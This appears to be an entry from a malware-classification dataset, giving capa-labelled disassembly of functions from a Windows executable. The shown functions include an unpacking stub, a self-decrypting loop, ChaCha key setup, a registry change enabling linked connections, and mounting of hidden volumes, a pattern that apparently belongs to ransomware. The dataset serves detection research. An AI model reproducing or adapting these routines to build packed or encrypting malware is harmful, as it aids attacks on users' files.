joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409ef8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x43c5c8]
jne 0x409f02
repz ret
jmp fcn.0040d0c6

Function at 0x40bfd0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43c5c8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00407ce8
and dword [ebp - 0x14], 0
cmp dword [0x440738], 0
mov dword [ebp - 0x18], eax
jne 0x40c083
push 0x4023b4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c12b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4023a8
push ebx
call edi
test eax, eax
je 0x40c12b
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402398
push ebx
mov dword [0x440738], eax
call edi
push eax
call esi
push 0x402384
push ebx
mov dword [0x44073c], eax
call edi
push eax
call esi
push 0x402368
push ebx
mov dword [0x440740], eax
call edi
push eax
call esi
mov dword [0x440748], eax
test eax, eax
je 0x40c083
push 0x402350
push ebx
call edi
push eax
call esi
mov dword [0x440744], eax
mov eax, dword [0x440744]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40c0dc
cmp dword [0x440748], ecx
je 0x40c0dc
push eax
call esi
push dword [0x440748]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c0dc
test ebx, ebx
je 0x40c0dc
call edi
test eax, eax
je 0x40c0d3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c0d3
test byte [ebp - 8], 1
jne 0x40c0dc
or dword [ebp + 0x10], 0x200000
jmp 0x40c10f
mov eax, dword [0x44073c]
cmp eax, dword [ebp - 0x18]
je 0x40c10f
push eax
call esi
test eax, eax
je 0x40c10f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c10f
mov eax, dword [0x440740]
cmp eax, dword [ebp - 0x18]
je 0x40c10f
push eax
call esi
test eax, eax
je 0x40c10f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x440738]
call esi
test eax, eax
je 0x40c12b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c12d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409ef8
leave
ret
Function at 0x423990
Capabilities:
Accept command line arguments
Delete directory
Get common file path

Disassembly:
mov eax, 0x1020
call fcn.0040f250
cmp dword [0x258fac4], 0x37
jne 0x423a5e
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x403450
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push 0
lea eax, [esp + 0x424]
push eax
push 0x403460
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea ecx, [esp + 0x824]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
lea edx, [esp + 4]
push edx
push 0
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
lea ecx, [esp + 8]
push ecx
push 0x4034b8
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeW]
lea edx, [esp + 0x20]
push edx
push 0
push 0x4034c8
push 0x4034d8
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0x403528
push 0x403588
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov eax, dword [0x258fac8]
mov dword [esp], eax
mov eax, 0x5d1
add dword [esp], eax
mov ecx, dword [esp]
mov dl, byte [ecx + esi]
mov eax, dword [0x445854]
mov byte [eax + esi], dl
add esp, 0x1020
ret
Function at 0x423b00
Capabilities:
Manipulate console buffer

Disassembly:
sub esp, 0xc0
mov eax, dword [esp + 0xc4]
mov ecx, dword [eax]
mov edx, dword [0x43d374]
push ebx
push ebp
push esi
mov esi, dword [eax + 4]
mov eax, dword [0x43d370]
push edi
mov dword [esp + 0x28], eax
mov eax, dword [0x43d378]
mov dword [esp + 0x24], edx
mov edx, dword [0x43d37c]
mov edi, 0xc6ef3720
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edi
mov dword [esp + 0x2c], eax
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0x20
jmp 0x423b5b
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, ecx
shl eax, 4
add eax, dword [esp + 0x2c]
lea ebx, [edi + ecx]
shr ecx, 5
cmp dword [0x258fac4], 0x1b
mov dword [esp + 0x10], eax
mov ebp, ecx
jne 0x423b8f
push 0
lea eax, [esp + 0x4c]
push eax
push 0x403420
call dword [sym.imp.KERNEL32.dll_OpenFile]
mov eax, dword [esp + 0x10]
add ebp, dword [esp + 0x20]
mov dword [0x2585a74], 0
xor ebp, ebx
xor ebp, eax
sub esi, ebp
mov edx, esi
shl edx, 4
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
add edi, esi
cmp dword [0x258fac4], 0x1be
jne 0x423bd6
lea eax, [esp + 0x30]
push eax
push 0
lea ecx, [esp + 0x3c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov edx, esi
shr edx, 5
add edx, dword [esp + 0x24]
mov dword [0x2585a78], 0xff6b3619
xor edx, edi
xor dword [esp + 0x10], edx
mov dword [0x2585a7c], 0xffffffff
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
lea eax, [esp + 0x18]
call fcn.00423a90
dec dword [esp + 0x1c]
jne 0x423b53
cmp dword [0x258fac4], 0x8d4
jne 0x423c48
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov eax, dword [esp + 0xd4]
mov ecx, dword [esp + 0x14]
mov dword [eax], ecx
mov dword [eax + 4], esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc0
ret 4
mov eax, dword [esp + 0xd4]
mov edx, dword [esp + 0x14]
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
mov dword [eax], edx
pop ebx
add esp, 0xc0
ret 4

Function at 0x423c70
Capabilities:
Manipulate console buffer

Disassembly:
mov eax, dword [0x258fac4]
sub esp, 8
push ebx
push esi
mov esi, dword [0x445854]
shr eax, 3
push edi
test eax, eax
je 0x423cb2
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov edi, eax
cmp dword [0x258fac4], 0x1c
jne 0x423ca6
lea eax, [esp + 0x10]
push eax
push 0
push 0
push 0
call ebx
push esi
call fcn.00423b00
add esi, 8
dec edi
jne 0x423c90
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x416f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0xd000]
push edi
or ebp, 0xffffffff
jmp 0x416f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x416f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x416f38
mov eax, 1
add ebx, ebx
jne 0x416f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x416f50
jne 0x416f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416f50
xor ecx, ecx
sub eax, 3
jb 0x416f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x416ff2
mov ebp, eax
add ebx, ebx
jne 0x416f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x416f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x416fbc
inc ecx
add ebx, ebx
jne 0x416fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x416f9d
jne 0x416fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x416f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x416fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x416fcd
jmp 0x416f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x416fdc
add edi, ecx
jmp 0x416f3e
pop esi
mov edi, esi
mov ecx, 0x712
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x416ffa
cmp byte [edi], 0xa
jne 0x416ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x416fff
lea edi, [esi + 0x14000]
mov eax, dword [edi]
or eax, eax
je 0x41706e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x17000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x17078]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41702c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1707c]
or eax, eax
je 0x417068
mov dword [ebx], eax
add ebx, 4
jmp 0x417049
call dword [esi + 0x17080]
popal
jmp 0x407cd2
Function at 0x402c60
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c3fd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 0xc]
mov eax, esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], 0
cmp dword [esi + 0x14], 8
jb 0x402c93
mov eax, dword [esi]
lea ecx, [ebp - 0x10]
push ecx
push 0
push 0
push 2
push eax
push 0
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov ecx, eax
test ecx, ecx
je 0x402cc9
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword [eax], ecx
mov byte [eax + 0x18], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x2c]
shr eax, 1
xorps xmm0, xmm0
push eax
push 0x20
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
call fcn.00407390
mov dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 8
cmovae eax, dword [ebp - 0x2c]
cmp dword [esi + 0x14], 8
jb 0x402d08
mov esi, dword [esi]
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push 2
push esi
push 0
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegGetValueW]
test eax, eax
je 0x402d77
mov esi, dword [ebp + 8]
mov ecx, dword [ebp - 0x18]
mov dword [esi], eax
mov byte [esi + 0x18], 0
cmp ecx, 8
jb 0x402d63
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402d59
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402e33
push ecx
push edx
call fcn.0041fc4a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 0x10]
mov esi, dword [ebp - 0x1c]
shr ecx, 1
dec ecx
cmp ecx, esi
ja 0x402d9a
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c], ecx
cmovae eax, dword [ebp - 0x2c]
xor edx, edx
mov word [eax + ecx*2], dx
jmp 0x402de9
mov edi, dword [ebp - 0x18]
mov edx, ecx
mov eax, edi
sub edx, esi
sub eax, esi
cmp edx, eax
ja 0x402ddb
cmp edi, 8
mov dword [ebp - 0x1c], ecx
lea eax, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x2c]
mov dword [ebp + 0xc], eax
lea edi, [eax + esi*2]
test edx, edx
je 0x402dcd
xor eax, eax
mov ecx, edx
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov ecx, dword [ebp + 0xc]
lea eax, [esi + edx]
xor edx, edx
mov word [ecx + eax*2], dx
jmp 0x402de9
push ecx
push edx
push dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push edx
call fcn.004076b0
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x2c]
push eax
mov ecx, esi
call fcn.00401fd0
mov ecx, dword [ebp - 0x18]
mov byte [esi + 0x18], 1
cmp ecx, 8
jb 0x402d63
mov edx, dword [ebp - 0x2c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402d59
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x402d59
call fcn.0042c24f
int3
Function at 0x402f10
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43c425
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push str.____Enable_linked_connections..._n
call fcn.00401dd0
add esp, 4
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x38]
mov dword [ebp - 0x24], 0
movups xmmword [ebp - 0x38], xmm0
push 0x39
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
call fcn.00401ef0
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 1
push eax
push 0x80000002
lea ecx, [ebp - 0x18]
call fcn.00402b40
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x24]
cmp ecx, 8
jb 0x402fbc
mov edx, dword [ebp - 0x38]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402fb2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40315c
push ecx
push edx
call fcn.0041fc4a
add esp, 8
xor eax, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 7
mov word [ebp - 0x38], ax
cmp dword [ebp - 0x18], eax
je 0x40310e
push 0x17
xorps xmm0, xmm0
mov dword [ebp - 0x40], eax
push str.EnableLinkedConnections
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x3c], eax
movups xmmword [ebp - 0x50], xmm0
call fcn.00401ef0
cmp dword [ebp - 0x3c], 8
lea ecx, [ebp - 0x1c]
push 4
push ecx
push 4
lea eax, [ebp - 0x50]
mov dword [ebp - 0x1c], 1
cmovae eax, dword [ebp - 0x50]
push 0
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x3c]
test eax, eax
sete al
mov byte [ebp - 0x11], al
cmp ecx, 8
jb 0x403060
mov edx, dword [ebp - 0x50]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403053
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403161
push ecx
push edx
call fcn.0041fc4a
mov al, byte [ebp - 0x11]
add esp, 8
test al, al
mov eax, dword [ebp - 0x18]
je 0x4030c4
test eax, eax
je 0x4030b1
cmp eax, 0x80000001
je 0x4030b1
cmp eax, 0x80000002
je 0x4030b1
cmp eax, 0x80000000
je 0x4030b1
cmp eax, 0x80000005
je 0x4030b1
cmp eax, 0x80000007
je 0x4030b1
cmp eax, 0x80000004
je 0x4030b1
cmp eax, 0x80000060
je 0x4030b1
cmp eax, 0x80000050
je 0x4030b1
cmp eax, 0x80000003
je 0x4030b1
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test eax, eax
je 0x40310e
cmp eax, 0x80000001
je 0x40310e
cmp eax, 0x80000002
je 0x40310e
cmp eax, 0x80000000
je 0x40310e
cmp eax, 0x80000005
je 0x40310e
cmp eax, 0x80000007
je 0x40310e
cmp eax, 0x80000004
je 0x40310e
cmp eax, 0x80000060
je 0x40310e
cmp eax, 0x80000050
je 0x40310e
cmp eax, 0x80000003
je 0x40310e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0042c24f
call fcn.0042c24f
int3
Function at 0x412b90
Capabilities:
Encode data using base64 via winapi

Disassembly:
sub esp, 0xc
push ebx
push esi
mov eax, ecx
mov dword [esp + 8], 0
lea ecx, [esp + 8]
mov dword [esp + 0x10], eax
push ecx
push 0
mov esi, dword [eax]
mov ebx, edx
mov eax, dword [eax + 4]
push 0x40000001
sub eax, esi
push eax
push esi
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
test eax, eax
je 0x412cfd
mov esi, dword [ebx + 0x10]
mov ecx, dword [esp + 8]
push ebp
lea ebp, [ebx + 0x10]
push edi
mov edi, dword [ebx + 0x14]
cmp ecx, esi
ja 0x412bef
mov eax, ebx
cmp edi, 8
jb 0x412be4
mov eax, dword [ebx]
xor edx, edx
mov dword [ebp], ecx
mov word [eax + ecx*2], dx
jmp 0x412c40
mov edx, ecx
mov eax, edi
sub edx, esi
sub eax, esi
cmp edx, eax
ja 0x412c32
mov dword [ebp], ecx
mov eax, ebx
mov dword [esp + 0x14], ebx
cmp edi, 8
jb 0x412c0f
mov eax, dword [ebx]
mov dword [esp + 0x14], eax
lea edi, [eax + esi*2]
test edx, edx
je 0x412c23
xor eax, eax
mov ecx, edx
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
mov ecx, dword [esp + 0x14]
lea eax, [esi + edx]
xor edx, edx
mov word [ecx + eax*2], dx
jmp 0x412c40
push ecx
push edx
push dword [esp + 0x20]
mov ecx, ebx
push edx
call fcn.004076b0
cmp dword [ebx + 0x14], 8
mov edx, ebx
jb 0x412c4a
mov edx, dword [ebx]
mov eax, dword [esp + 0x18]
lea esi, [esp + 0x10]
push esi
push edx
push 0x40000001
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
push eax
push ecx
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
mov ecx, eax
mov dword [esp + 0x18], ecx
test ecx, ecx
je 0x412cf9
mov esi, dword [ebp]
mov ecx, dword [esp + 0x10]
mov edi, dword [ebx + 0x14]
cmp ecx, esi
ja 0x412ca0
cmp edi, 8
jb 0x412c8b
mov ebx, dword [ebx]
pop edi
mov dword [ebp], ecx
xor eax, eax
pop ebp
mov word [ebx + ecx*2], ax
mov eax, dword [esp + 0x10]
pop esi
pop ebx
add esp, 0xc
ret
mov edx, ecx
mov eax, edi
sub edx, esi
sub eax, esi
cmp edx, eax
ja 0x412cdf
mov dword [ebp], ecx
cmp edi, 8
jb 0x412cb6
mov ebx, dword [ebx]
lea edi, [ebx + esi*2]
test edx, edx
je 0x412cca
xor eax, eax
mov ecx, edx
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
pop edi
lea eax, [esi + edx]
xor ecx, ecx
pop ebp
mov word [ebx + eax*2], cx
mov eax, dword [esp + 0x10]
pop esi
pop ebx
add esp, 0xc
ret
push ecx
push edx
push dword [esp + 0x20]
mov ecx, ebx
push edx
call fcn.004076b0
mov eax, dword [esp + 0x18]
pop edi
pop ebp
pop esi
pop ebx
add esp, 0xc
ret
pop edi
mov eax, ecx
pop ebp
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x412d10
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ecx
push ebx
mov ebx, dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
lea eax, [esp + 4]
push esi
push 0
push 0
push eax
push 0
push 1
push 0
push dword [esp + 0x28]
mov esi, ecx
mov dword [esp + 0x24], 0
call ebx
test eax, eax
je 0x412df0
mov edx, dword [esi]
push ebp
mov ebp, dword [esi + 4]
mov ecx, ebp
push edi
mov edi, dword [esp + 0x10]
sub ecx, edx
cmp edi, ecx
jae 0x412d58
lea eax, [edx + edi]
jmp 0x412d7f
jbe 0x412d82
mov eax, dword [esi + 8]
sub eax, edx
cmp edi, eax
jbe 0x412d6e
push ecx
push edi
mov ecx, esi
call fcn.00413570
jmp 0x412d82
sub edi, ecx
push edi
push 0
push ebp
call fcn.004218b0
add esp, 0xc
lea eax, [edi + ebp]
mov dword [esi + 4], eax
push 0
push 0
lea eax, [esp + 0x18]
push eax
push dword [esi]
push 1
push 0
push dword [esp + 0x30]
call ebx
mov ebx, eax
test ebx, ebx
je 0x412dec
mov ebp, dword [esi + 4]
mov ecx, ebp
mov edx, dword [esi]
sub ecx, edx
mov edi, dword [esp + 0x10]
cmp edi, ecx
jae 0x412dbc
lea eax, [edx + edi]
pop edi
pop ebp
mov dword [esi + 4], eax
mov eax, ebx
pop esi
pop ebx
pop ecx
ret
jbe 0x412dec
mov eax, dword [esi + 8]
sub eax, edx
cmp edi, eax
jbe 0x412dd8
push ecx
push edi
mov ecx, esi
call fcn.00413570
pop edi
pop ebp
pop esi
mov eax, ebx
pop ebx
pop ecx
ret
sub edi, ecx
push edi
push 0
push ebp
call fcn.004218b0
lea eax, [edi + ebp]
add esp, 0xc
mov dword [esi + 4], eax
pop edi
mov eax, ebx
pop ebp
pop esi
pop ebx
pop ecx
ret
Function at 0x413a00
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43d02d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x18], 0x105
push 0x20a
mov dword [ebp - 0x10], edi
call fcn.0042cfcc
mov esi, eax
add esp, 4
test esi, esi
je 0x413a86
nop dword [eax]
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x18]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
jne 0x413a98
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x413bcd
push esi
call fcn.0042cfb1
mov eax, dword [ebp - 0x18]
add eax, eax
push eax
call fcn.0042cfcc
mov edi, dword [ebp - 0x10]
mov esi, eax
add esp, 8
test esi, esi
jne 0x413a40
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor edi, edi
lea eax, [edi + 0x41]
mov dword [ebp - 0x20], 0x3a0041
mov word [ebp - 0x20], ax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 0x5c
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x413af3
push dword [ebp - 0x10]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x413afe
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x10]
push str.____Not_mounted:__s_____s__error:_0x_X_n
call fcn.00401dd0
add esp, 0x10
inc edi
cmp edi, 0x1a
jb 0x413aa0
jmp 0x413bca
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x10]
push str.___Mounted:__s_____s_n
call fcn.00401dd0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x24], 0
add esp, 0xc
lea edx, [ecx + 2]
movups xmmword [ebp - 0x38], xmm0
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x413b30
sub ecx, edx
lea eax, [ebp - 0x20]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00401ef0
mov dword [ebp - 4], 0
mov eax, dword [0x44fa00]
cmp eax, dword [0x44fa04]
je 0x413b85
movups xmm0, xmmword [ebp - 0x38]
mov ecx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x28]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [0x44fa00], 0x18
mov word [ebp - 0x38], ax
jmp 0x413b97
lea ecx, [ebp - 0x38]
push ecx
push eax
mov ecx, 0x44f9fc
call fcn.0040bbd0
mov ecx, dword [ebp - 0x24]
cmp ecx, 8
jb 0x413bca
mov edx, dword [ebp - 0x38]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x413bc0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bec
push ecx
push edx
call fcn.0041fc4a
add esp, 8
mov edi, dword [ebp - 0x14]
test esi, esi
je 0x413bda
push esi
call fcn.0042cfb1
add esp, 4
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.0042c24f
int3
Function at 0x413c00
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
mov edi, ecx
mov dword [edi], 0x61707865
mov dword [edi + 4], 0x3320646e
mov dword [edi + 8], 0x79622d32
mov dword [edi + 0xc], 0x6b206574
movzx edx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl edx, 8
or edx, eax
movzx eax, byte [esi + 1]
shl edx, 8
or edx, eax
movzx eax, byte [esi]
shl edx, 8
or edx, eax
mov dword [edi + 0x10], edx
movzx ecx, byte [esi + 7]
movzx eax, byte [esi + 6]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 5]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 4]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x14], ecx
movzx ecx, byte [esi + 0xb]
movzx eax, byte [esi + 0xa]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 9]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 8]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x18], ecx
movzx ecx, byte [esi + 0xf]
movzx eax, byte [esi + 0xe]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xd]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0xc]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x1c], ecx
movzx ecx, byte [esi + 0x13]
movzx eax, byte [esi + 0x12]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x11]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x10]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x20], ecx
movzx ecx, byte [esi + 0x17]
movzx eax, byte [esi + 0x16]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x15]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x24], ecx
movzx ecx, byte [esi + 0x1b]
movzx eax, byte [esi + 0x1a]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x19]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x18]
mov edx, dword [esp + 0x10]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x28], ecx
movzx ecx, byte [esi + 0x1f]
movzx eax, byte [esi + 0x1e]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1d]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 0x1c]
shl ecx, 8
or ecx, eax
mov dword [edi + 0x30], 0
mov dword [edi + 0x2c], ecx
mov dword [edi + 0x34], 0
movzx ecx, byte [edx + 3]
movzx eax, byte [edx + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edx + 1]
shl ecx, 8
